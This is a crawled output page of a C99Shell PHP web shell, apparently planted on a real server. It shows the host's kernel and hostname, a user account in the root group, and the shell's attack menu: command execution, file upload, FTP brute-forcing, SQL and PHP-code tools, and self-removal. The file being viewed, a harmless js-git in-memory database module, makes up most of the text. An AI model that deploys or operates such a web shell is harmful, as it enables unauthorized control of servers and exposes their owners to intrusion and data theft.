!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/.nvm/versions/node/v18.17.1/lib/node_modules/pm2/node_modules/js-git/mixins/   drwxr-xr-x
Free 23.66 GB of 117.98 GB (20.06%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     mem-db.js (2.24 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
"use strict";

var defer = require('../lib/defer.js');
var codec = require('../lib/object-codec.js');
var sha1 = require('git-sha1');

module.exports = mixin;
var isHash = /^[0-9a-f]{40}$/;

function mixin(repo) {
  var objects = {};
  var refs = {};

  repo.saveAs = saveAs;
  repo.loadAs = loadAs;
  repo.saveRaw = saveRaw;
  repo.loadRaw = loadRaw;
  repo.hasHash = hasHash;
  repo.readRef = readRef;
  repo.updateRef = updateRef;
  repo.listRefs = listRefs;

  function readRef(ref, callback) {
    return makeAsync(function () {
      return refs[ref];
    }, callback);
  }

  function listRefs(prefix, callback) {
    return makeAsync(function () {
      var regex = prefix && new RegExp("^" + prefix + "[/$]");
      var out = {};
      Object.keys(refs).forEach(function (name) {
        if (regex && !regex.test(name)) return;
        out[name] = refs[name];
      });
      return out;
    }, callback);
  }

  function updateRef(ref, hash, callback) {
    return makeAsync(function () {
      return (refs[ref] = hash);
    }, callback);
  }

  function hasHash(hash, callback) {
    return makeAsync(function () {
      if (!isHash.test(hash)) hash = refs[hash];
      return hash in objects;
    }, callback);
  }

  function saveAs(type, body, callback) {
    return makeAsync(function () {
      var buffer = codec.frame({type:type,body:body});
      var hash = sha1(buffer);
      objects[hash] = buffer;
      return hash;
    }, callback);
  }

  function saveRaw(hash, buffer, callback) {
    return makeAsync(function () {
      objects[hash] = buffer;
    }, callback);
  }

  function loadAs(type, hash, callback) {
    return makeAsync(function () {
      if (!isHash.test(hash)) hash = refs[hash];
      var buffer = objects[hash];
      if (!buffer) return [];
      var obj = codec.deframe(buffer, true);
      if (obj.type !== type) throw new TypeError("Type mismatch");
      return obj.body;
    }, callback);
  }

  function loadRaw(hash, callback) {
    return makeAsync(function () {
      return objects[hash];
    }, callback);
  }
}

function makeAsync(fn, callback) {
  if (!callback) return makeAsync.bind(null, fn);
  defer(function () {
    var out;
    try { out = fn(); }
    catch (err) { return callback(err); }
    callback(null, out);
  });
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--